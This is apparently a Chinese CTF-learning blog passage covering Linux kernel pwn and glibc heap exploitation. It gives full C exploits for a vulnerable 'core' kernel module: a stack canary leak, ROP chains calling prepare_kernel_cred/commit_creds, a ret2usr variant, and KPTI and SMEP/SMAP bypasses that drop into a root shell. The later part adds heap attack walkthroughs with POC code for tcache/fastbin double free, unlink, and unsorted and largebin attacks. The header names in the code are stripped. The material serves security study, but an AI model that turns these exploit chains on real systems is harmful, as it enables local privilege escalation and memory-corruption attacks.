那么在gdb连接之后可以add-symbol-file ./core/core.ko 0xffffffffc030c000添加符号表，然后就可以正常下断点了
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include
#include
#include
#include
#include
#include

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()//保存用户态的各寄存器的值
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void get_root_shell(void)//执行system("/bin/sh")进入交互模式
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

void core_read(int fd, char *buf)
{
ioctl(fd, 0x6677889b, buf);        //core_read
}

void set_off_value(int fd, size_t off)
{
ioctl(fd, 0x6677889c, off);//set off
}

void core_copy_func(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889a, nbytes);//copy nbytes from bss to stack 
}

int main()
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
save_status();

int fd = open("/proc/core", 2);
if(fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
        exit(-1);
}

FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
        exit(-1);
}

char buf[0x50], type[0x10];
size_t addr;
//获取commit_creds和prepare_kernel_cred函数地址
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
            continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
        {
            prepare_kernel_cred = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
           continue;
        }
}

//0xffffffff8109c8e0通过cat /tmp/kallsyms | grep 'commit_creds'得到
//为未开启KASLR前的固定地址，相减后求出offset
size_t offset = commit_creds - 0xffffffff8109c8e0;

//get the canary
size_t canary;
set_off_value(fd, 64);//数组的第64项恰好越界到canary
core_read(fd, buf);
canary = ((size_t *)buf)[0];

//construct the rop chain
size_t rop_chain[0x100], i=0;
for(; i < 10; i++)
rop_chain[i] = canary;
rop_chain[i++] = POP_RDI_RET + offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = prepare_kernel_cred;
    rop_chain[i++] = POP_RDX_RET + offset;
    rop_chain[i++] = POP_RCX_RET + offset; // just to clear the useless stack data
    rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;
    rop_chain[i++] = commit_creds;
    rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = IRETQ + offset;
    rop_chain[i++] = (size_t)get_root_shell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_sp;
    rop_chain[i++] = user_ss;

core_write(fd, rop_chain, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}
ret2usr
原理
该攻击方式如其字面意思，通过返回到用户空间来提权。因为在kernel pwn中，用户空间完全由我们控制，因此只要我们知道prepare_kernel_cred和commit_creds函数的地址，并且程序没有开启SMAP/SMEP保护，那么我们就可以直接返回到用户空间执行提权代码，最后着陆回用户态即可。
思路
实际上和直接进行rop没有太大区别，就是不需要寻找太多gadget来进行利用了。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include
#include
#include
#include
#include
#include
#include
#include

#define SWAPGS_POPFQ 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

size_t prepare_kernel_cred = NULL, commit_creds = NULL;

//编译时加入选项 -masm=intel
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void core_read(int fd, char* buf)
{
ioctl(fd, 0x6677889b, buf);
}

void core_set_off(int fd, int num)
{
ioctl(fd, 0x6677889c, num);
}

void core_copy_func(int fd, long num)
{
ioctl(fd, 0x6677889a, num);
}

/* for ret2usr attacker */
void get_root_privilige()
{
    void *(*prepare_kernel_cred_ptr)(void *) = 
                                         (void *(*)(void*)) prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = (int (*)(void*)) commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

int main()
{
saveStatus();//保存寄存器状态
int fd = open("/proc/core", 2);//打开交互文件
if(fd == 0)
{
printf("open core failure!\n");
return 0;
}

FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");//获取函数地址
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
        exit(-1);
}

char buf[0x50], type[0x10];
size_t addr;
//获取commit_creds和prepare_kernel_cred函数地址
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
            continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
        {
            prepare_kernel_cred = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
           continue;
        }
}

//0xffffffff8109c8e0通过cat /tmp/kallsyms | grep 'commit_creds'得到
//为未开启KASLR前的固定地址，相减后求出offset
size_t offset = commit_creds - 0xffffffff8109c8e0;

//泄露canary
//char buf[0x100] = "\x00";
core_set_off(fd, 64);
core_read(fd, buf);
long canary = *(long*)buf;
//printf("canary is: %lx\n", *(long*)buf);

//构造ROP chain
int i;
size_t chain[0x100];
for(i = 0; i < 10; i++)
chain[i] = canary;
chain[i++] = (size_t)get_root_privilige;
chain[i++] = SWAPGS_POPFQ + offset;
chain[i++] = 0;
chain[i++] = IRETQ + offset;
chain[i++] = (size_t)get_root_shell;
chain[i++] = user_cs;
chain[i++] = user_rflags;
chain[i++] = user_sp;
chain[i++] = user_ss;
write(fd, chain, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;
}
Add KPTI
原理
KPTI(Kernel PageTable Isolation)全称内核页表隔离,它通过完全分离用户空间与内核空间页表来解决页表泄露。
KPTI中每个进程有两套页表——内核态页表与用户态页表(两个地址空间)。内核态页表只能在内核态下访问，可以创建到内核和用户的映射（不过用户空间受SMAP和SMEP保护）。用户态页表只包含用户空间。不过由于涉及到上下文切换，所以在用户态页表中必须包含部分内核地址，用来建立到中断入口和出口的映射。
当中断在用户态发生时，就涉及到切换CR3寄存器，从用户态地址空间切换到内核态的地址空间。中断上半部的要求是尽可能的快，从而切换CR3这个操作也要求尽可能的快。为了达到这个目的，KPTI中将内核空间的PGD和用户空间的PGD连续的放置在一个8KB的内存空间中（内核态在低位，用户态在高位）。这段空间必须是8K对齐的，这样将CR3的切换操作转换为将CR3值的第13位(由低到高)的置位或清零操作，提高了CR3切换的速度。
Linux在v2.6.11以后，最终采用的方案是4级页表，分别是：
PGD：page Global directory(47-39), 页全局目录
PUD：Page Upper Directory(38-30)，页上级目录
PMD：page middle directory(29-21)，页中间目录
PTE：page table entry(20-12)，页表项
利用
在原理中解释了在KPTI开启时如何切换内核态和用户态的PGD，也就是说，我们只要能将CR3寄存器的第13位取反，那么就可以实现KPTI的绕过。
除了在系统调用入口中将用户态页表切换到内核态页表的代码外，内核也相应地在 arch/x86/entry/entry_64.S 中提供了一个用于完成内核态页表切换回到用户态页表的函数 swapgs_restore_regs_and_return_to_usermode，地址可以在 /proc/kallsyms 中获得。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
swapgs_restore_regs_and_return_to_usermode

.text:FFFFFFFF81600A34 41 5F                          pop     r15
.text:FFFFFFFF81600A36 41 5E                          pop     r14
.text:FFFFFFFF81600A38 41 5D                          pop     r13
.text:FFFFFFFF81600A3A 41 5C                          pop     r12
.text:FFFFFFFF81600A3C 5D                             pop     rbp
.text:FFFFFFFF81600A3D 5B                             pop     rbx
.text:FFFFFFFF81600A3E 41 5B                          pop     r11
.text:FFFFFFFF81600A40 41 5A                          pop     r10
.text:FFFFFFFF81600A42 41 59                          pop     r9
.text:FFFFFFFF81600A44 41 58                          pop     r8
.text:FFFFFFFF81600A46 58                             pop     rax
.text:FFFFFFFF81600A47 59                             pop     rcx
.text:FFFFFFFF81600A48 5A                             pop     rdx
.text:FFFFFFFF81600A49 5E                             pop     rsi
.text:FFFFFFFF81600A4A 48 89 E7                       mov     rdi, rsp    <<<<<<<<<<<<<<<<<<
.text:FFFFFFFF81600A4D 65 48 8B 24 25+                mov     rsp, gs: 0x5004
.text:FFFFFFFF81600A56 FF 77 30                       push    qword ptr [rdi+30h]
.text:FFFFFFFF81600A59 FF 77 28                       push    qword ptr [rdi+28h]
.text:FFFFFFFF81600A5C FF 77 20                       push    qword ptr [rdi+20h]
.text:FFFFFFFF81600A5F FF 77 18                       push    qword ptr [rdi+18h]
.text:FFFFFFFF81600A62 FF 77 10                       push    qword ptr [rdi+10h]
.text:FFFFFFFF81600A65 FF 37                          push    qword ptr [rdi]
.text:FFFFFFFF81600A67 50                             push    rax
.text:FFFFFFFF81600A68 EB 43                          nop
.text:FFFFFFFF81600A6A 0F 20 DF                       mov     rdi, cr3
.text:FFFFFFFF81600A6D EB 34                          jmp     0xFFFFFFFF81600AA3

.text:FFFFFFFF81600AA3 48 81 CF 00 10+                or      rdi, 1000h
.text:FFFFFFFF81600AAA 0F 22 DF                       mov     cr3, rdi
.text:FFFFFFFF81600AAD 58                             pop     rax
.text:FFFFFFFF81600AAE 5F                             pop     rdi
.text:FFFFFFFF81600AAF FF 15 23 65 62+                call    cs: SWAPGS
.text:FFFFFFFF81600AB5 FF 25 15 65 62+                jmp     cs: INTERRUPT_RETURN

_SWAPGS
.text:FFFFFFFF8103EFC0 55                             push    rbp
.text:FFFFFFFF8103EFC1 48 89 E5                       mov     rbp, rsp
.text:FFFFFFFF8103EFC4 0F 01 F8                       swapgs
.text:FFFFFFFF8103EFC7 5D                             pop     rbp
.text:FFFFFFFF8103EFC8 C3                             retn


_INTERRUPT_RETURN
.text:FFFFFFFF81600AE0 F6 44 24 20 04                 test    byte ptr [rsp+0x20], 4
.text:FFFFFFFF81600AE5 75 02                          jnz     native_irq_return_ldt
.text:FFFFFFFF81600AE7 48 CF                          iretq
可以看到该函数对栈进行了很多push pop操作，但是所有操作可以简化为如下部分
1
2
3
4
5
6
7
mov  rdi, cr3
or rdi, 0x1000
mov  cr3, rdi
pop rax
pop rdi
swapgs
iretq
因此只要布置上如下布局就可以绕过KPTI
1
2
3
4
5
6
7
8
↓   swapgs_restore_regs_and_return_to_usermode + 0x16  (这里从0x16开始是因为前面的pop操作无关紧要)
    0 // padding
    0 // padding
    user_shell_addr
    user_cs
    user_rflags
    user_sp
    user_ss
core with KPTI
要给程序加上KPTI保护，我们只需要在start.sh中添加-cpu kvm64 \，就会默认开启KPTI
kpti 在 qemu64-v1 上默认是关闭的，但在其他型号 CPU 上默认是开启的
只需修改ROP链为如下即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for(i = 0; i < 10; i++)
chain[i] = canary;
chain[i++] = POP_RDI_RET + offset;
chain[i++] = 0;
chain[i++] = prepare_kernel_cred;
chain[i++] = POP_RDX_RET + offset;
chain[i++] = commit_creds;
chain[i++] = MOV_RDI_RAX_JMP_RDX + offset;

chain[i++] = swapgs_restore_regs_and_return_to_usermode+0x16;
chain[i++] = 0;
chain[i++] = 0;
/*修改前为：
chain[i++] = SWAPGS_POPFQ + offset;
chain[i++] = 0;
chain[i++] = IRETQ + offset;
*/
chain[i++] = (size_t)get_root_shell;
chain[i++] = user_cs;
chain[i++] = user_rflags;
chain[i++] = user_sp;
chain[i++] = user_ss;
在开启了kpti之后，ret2usr便无法使用，因为对于开启了 KPTI 的内核而言，内核页表的用户地址空间无执行权限，因此当内核尝试执行用户空间代码时，由于对应页顶级表项没有设置可执行位，因此会直接 panic
Add smep & smap
SMAP/SMEP
SMAP即管理模式访问保护（Supervisor Mode Access Prevention），SMEP即管理模式执行保护（Supervisor Mode Execution Prevention），这两种保护通常是同时开启的，用以阻止内核空间直接访问/执行用户空间的数据，完全地将内核空间与用户空间相分隔开，用以防范ret2usr（return-to-user，将内核空间的指令指针重定向至用户空间上构造好的提权代码）攻击
SMEP保护的绕过有以下两种方式：
利用内核线性映射区对物理地址空间的完整映射，找到用户空间对应页框的内核空间地址，利用该内核地址完成对用户空间的访问（即一个内核空间地址与一个用户空间地址映射到了同一个页框上），这种攻击手法称为 ret2dir
Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护（1为开启，0为关闭），若是能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护，完成SMEP-bypass，接下来就能够重新进行 ret2usr，但对于开启了 KPTI 的内核而言，内核页表的用户地址空间无执行权限，这使得 ret2usr 彻底成为过去式
利用
在添加了这两个保护之后，内核空间将不能直接访问/执行用户空间的数据，但我们可以尝试bypass。
Intel 下系统根据 CR4 控制寄存器的第 20、21 位标识是否开启 SMEP、SMAP 保护（1为开启，0为关闭），若是能够改变 CR4 寄存器的值便能够关闭 SMEP/SMAP 保护，完成 SMAP/SMEP-bypass，接下来就能够重新进行 ret2usr
我们只需要找到对应的gadget来控制CR4寄存器即可，bypass后执行ret2usr的ROP链如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for(i = 0; i < 10; i++)
chain[i] = canary;
chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBX_RET + offset;
chain[i++] = 0;
chain[i++] = 0;
chain[i++] = POP_RSI_RDI_RET + offset;
chain[i++] = 0;
chain[i++] = 0;
chain[i++] = POP_RDX_RET + offset;
chain[i++] = 0xffffffffffcfffff;
chain[i++] = AND_RAX_RDX_ADD_RAX_RSI_RET + offset;
chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPF_RET + offset;

chain[i++] = (size_t)get_root_privilige;
chain[i++] = SWAPGS_POPFQ + offset;
chain[i++] = 0;
chain[i++] = IRETQ + offset;
chain[i++] = (size_t)get_root_shell;
chain[i++] = user_cs;
chain[i++] = user_rflags;
chain[i++] = user_sp;
chain[i++] = user_ss;



Glibc堆学习及_IO_FILE利用
2024-06-22T12:00:00.000Z
UAF
在free(p)之后未对指针p置空，可配合其他可利用因素进行攻击
fastbin
libc-2.31及之前
fastbin只会在放入fastbin时检查链表头指向的chunk是否double free，因此构造fastbin为p1->p2->p1，然后再将p1申请出来，更改p1的fd指针为我们想要修改的地址，此时fastbin为p2->p1->target，最后即可获得对应地址的写入权限。但是在这一过程中要注意的是target->size位置必须为这个fastbin链表的size，因为在申请时会进行检查。
libc-2.32以后
在2.32版本中，对tcach和fastbin都加入了保护机制，即对fd指针进行了异或加密
1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
ptr为next对应的地址，pos为当前堆块的地址
在放入对应链表时，会进行PROTECT_PTR(pos, ptr)操作，即抹去pos后三位信息然后与ptr异或，放入fd位置。由于异或加密的可逆性，解密时直接与pos >> 12异或就可以得到ptr。同时，在链表中只有一个chunk时，fd也会进行加密，而其next实际为0，因此会有fd = (pos >> 12) ^ 0，此时fd存储的就是堆块地址，我们可以通过这个机制泄露出堆地址，依然可以进行后续的利用。
tcache
libc-2.28及之前
在libc-2.28及之前tcache并不会检查double free，并且tcach不会检查size，我们可以直接free两次，申请一次，在fd写入target，再申请到target直接任意读写
libc-2.29到libc-2.31
libc-2.29中加入了对tcache的double free检查，具体是在tcache_entry中加入了一个key，在chunk中体现为bk位置修改为key，当chunk被放入tcache时检查bk位置是否存在key，若存在就报错double free。如果我们可以修改chunk的bk位置，那么就可以清空key而绕过检查，仍旧很容易利用。
同时，我们可利用fastbin double free配合tcache，具体利用方法是：先malloc九次，然后free七个chunk，这时tcache被填满p6->p5->p4->p3->p2->p1->p0，再free剩下的两个chunk，这时chunk会在fastbin里面p8->p7，再free掉p7，fastbin内变成p7->p8->p7，这时malloc七次清空tcache，再次将p7malloc出来时，由于tcache stash（简单来说就是，在从fastbin和small bin中取chunk的时候，会尽可能的把剩余的其他chunk也一起放入tcache bin中）机制，剩下的会被放入tcache中p8->p7。由于我们刚刚拿到了p7指向的chunk，因此我们可以修改其fd位置为target，然后tcache中就变成了p8->p7->target，然后就可以直接利用了。
libc-2.32以后
与fastbin在libc-2.32以后新增的保护相同，利用方式参照其即可。
**要注意的是：**在利用时要保持要利用位置的tcache_counts > 0，这是因为存在保护assert (tcache->counts[tc_idx] > 0);，这个保护似乎从libc-2.27开始一直存在于tcache中
Unlink
unlink漏洞存在于含有双向链表的bin中，在我们对chunk进行精心的内存布局后，可以借助unlink操作来达到修改指针的效果。
古老的unlink检查比较少，利用起来也相对容易，但对当前学习没有太大价值，因此我们直接看当前的unlink机制就行。
在最新的glibc2.37下，unlink_chunk函数（似乎一直以来都没变过，只是把原来的宏换成了函数）如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))         //检查 p->size == p->next->presize
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))//检查确保 p 在链中
    malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;//使 p 脱链，由 bk->p->fd 变为 bk->fd
  bk->fd = fd;
    //以下都属于largebin的unlink处理
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {//判断是否在smallbin的范围内，并且fd_nextsize是否为空
      if (p->fd_nextsize->bk_nextsize != p
  || p->bk_nextsize->fd_nextsize != p)//判断链是否正确
malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)
{
  if (p->fd_nextsize == p)//若p是唯一结点
    fd->fd_nextsize = fd->bk_nextsize = fd;
  else
    {  //正常双向链表删除元素
      fd->fd_nextsize = p->fd_nextsize;
      fd->bk_nextsize = p->bk_nextsize;
      p->fd_nextsize->bk_nextsize = fd;
      p->bk_nextsize->fd_nextsize = fd;
    }
}
      else//更新 p 脱链后的 nextsize 指针
{
  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
    }
}
以64位下为例，对于绕过方式，实际上也非常简单。由于它要求 p->fd->bk==p && p->bk->fd==p && p->size==p->next_chunk->pre_size，而对于size的伪造无需赘述，直接在可控堆块上伪造一个fake_chunk就行，同时修改后一个chunk的pre_size位，并且需要控制p->next_chunk->PRE_INUSE == 0，这样才能触发unlink。而我们伪造的重点就在p->fd->bk==p && p->bk->fd==p了，如果内存中存在一个指向p的指针，我们称之为target，那么我们就可以伪造p->fd=target-0x18   p->bk=target-0x10，从而绕过判断，在target位置写入target-0x18，在一定条件下可实现任意写。
一个简单的POC：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include
#include

//验证高版本下的unlink漏洞
char* ChunkInfo[20]={0};

int main()
{
//填满tcache
for(int i = 0;i<11;i++)
ChunkInfo[i] = (char*)malloc(0x80);
for(int i = 0;i<7;i++)
free(ChunkInfo[i]);
printf("The tcache bin is full.\n");

//修改参数
*((long*)ChunkInfo[9]-2) = 0x80;    //修改下一个chunk的presize位
*((long*)ChunkInfo[9]-1) = 0x90;    //修改下一个chunk的pre_inuse位为0
*((long*)ChunkInfo[8]) = 0;   //fake_chunk的presize位
*((long*)ChunkInfo[8]+1) = 0x81;  //size位
*((long*)ChunkInfo[8]+2) = (long)(&ChunkInfo[8])-0x18;   //fd位
*((long*)ChunkInfo[8]+3) = (long)(&ChunkInfo[8])-0x10;   //bk位

printf("修改前target位置 %p\n", ChunkInfo[8]);
free(ChunkInfo[9]);
printf("修改后target位置 %p\n", ChunkInfo[8]);

return 0;
}
Unsorted bin attack
这是一个比较古老的攻击技巧，从glibc-2.29开始，因为保护机制的增多，已经基本失效。而且这个攻击方式仅可作为辅助利用，攻击效果就是在任意位置写入一个不可控的大值。
glibc-2.27及以前检查部分：
1
2
3
4
5
6
7
8
9
10
11
12
for (;; )
  {
    int iters = 0;
    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
      {
        bck = victim->bk;
        if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
            || __builtin_expect (chunksize_nomask (victim)
   > av->system_mem, 0))
          malloc_printerr ("malloc(): memory corruption");
        size = chunksize (victim);

再来看看实现写入的部分：
1
2
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
结合上面的bck = victim->bk，我们只要能修改victim的bk位为target-0x10，然后那么target位置就能被修改为unsorted_chunks (av)。
glibc-2.28加入检测，需要在目标位置伪造fd：
1
2
if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
具体利用的POC可以看看how2heap仓库的 unsorted_bin_attack.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include 
#include 

int main() {
  fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
                  "unsigned long value into stack\n");
  fprintf(
      stderr,
      "In practice, unsorted bin attack is generally prepared for further "
      "attacks, such as rewriting the "
      "global variable global_max_fast in libc for further fastbin attack\n\n");

  unsigned long target_var = 0;
  fprintf(stderr,
          "Let's first look at the target we want to rewrite on stack:\n");
  fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

  unsigned long *p = malloc(400);
  fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
          p);
  fprintf(stderr, "And allocate another normal chunk in order to avoid "
                  "consolidating the top chunk with"
                  "the first one during the free()\n\n");
  malloc(500);

  free(p);
  fprintf(stderr, "We free the first chunk now and it will be inserted in the "
                  "unsorted bin with its bk pointer "
                  "point to %p\n",
          (void *)p[1]);

  /*------------VULNERABILITY-----------*/

  p[1] = (unsigned long)(&target_var - 2);
  fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
                  "victim->bk pointer\n");
  fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
                  "machine, it should be target address-8):%p\n\n",
          (void *)p[1]);

  //------------------------------------

  malloc(400);
  fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
                  "this time, target should has already been "
                  "rewrite:\n");
  fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}
ctf-wiki 已对其作出详细分析，鄙人不在此赘述，具体请看Unsorted Bin Attack - CTF Wiki (ctf-wiki.org)
glibc-2.29的检查部分如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for (;; )
  {
    int iters = 0;
    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
      {
        bck = victim->bk;
        size = chunksize (victim);
        mchunkptr next = chunk_at_offset (victim, size);

        if (__glibc_unlikely (size <= 2 * SIZE_SZ)
            || __glibc_unlikely (size > av->system_mem))
          malloc_printerr ("malloc(): invalid size (unsorted)");
        if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
            || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
          malloc_printerr ("malloc(): invalid next size (unsorted)");
        if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
          malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
        if (__glibc_unlikely (bck->fd != victim)
            || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
          malloc_printerr ("malloc(): unsorted double linked list corrupted");
        if (__glibc_unlikely (prev_inuse (next)))
          malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
显然，它会检查很多条件，利用起来基本不可能。
Largebin attack
参考文章：[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)
Large Bin Attack - CTF Wiki (ctf-wiki.org)
libc-2.29及以前
攻击流程：向largebin中放入一个chunkA，修改其bk位为target1-0x10，bk_nextsize位为target2-0x20，此时再向largebin中加入一个大小略小于chunkA的chunkB。执行如下代码（victim即chunkB，fwd即chunkA）：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[...]
else
{
        victim->fd_nextsize = fwd;
        victim->bk_nextsize = fwd->bk_nextsize;
        fwd->bk_nextsize = victim;
        victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
经过这些代码，赋值操作为chunkA->bk_nextsize->fd_nextsize = chunkB和chunkA->bk->fd = chunkB。因此target1和target2均会被赋值为chunkB的地址，即赋值为大数。
how2heap给出的POC（在没有tcache的版本中实验）：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include 
#include 

int main()
{
    fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
                    "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
                    " the first large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
                    " the second large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
                    " the third large chunk during the free()\n\n");
    malloc(0x20);

    free(p1);
    free(p2);
    fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
                    " [ %p <--> %p ]\n\n",
            (void *)(p2 - 2), (void *)(p2[0]));

    void* p4 = malloc(0x90);
    fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
                    " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
                    ", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
                    " [ %p ]\n\n",
            (void *)((char *)p1 + 0x90));

    free(p3);
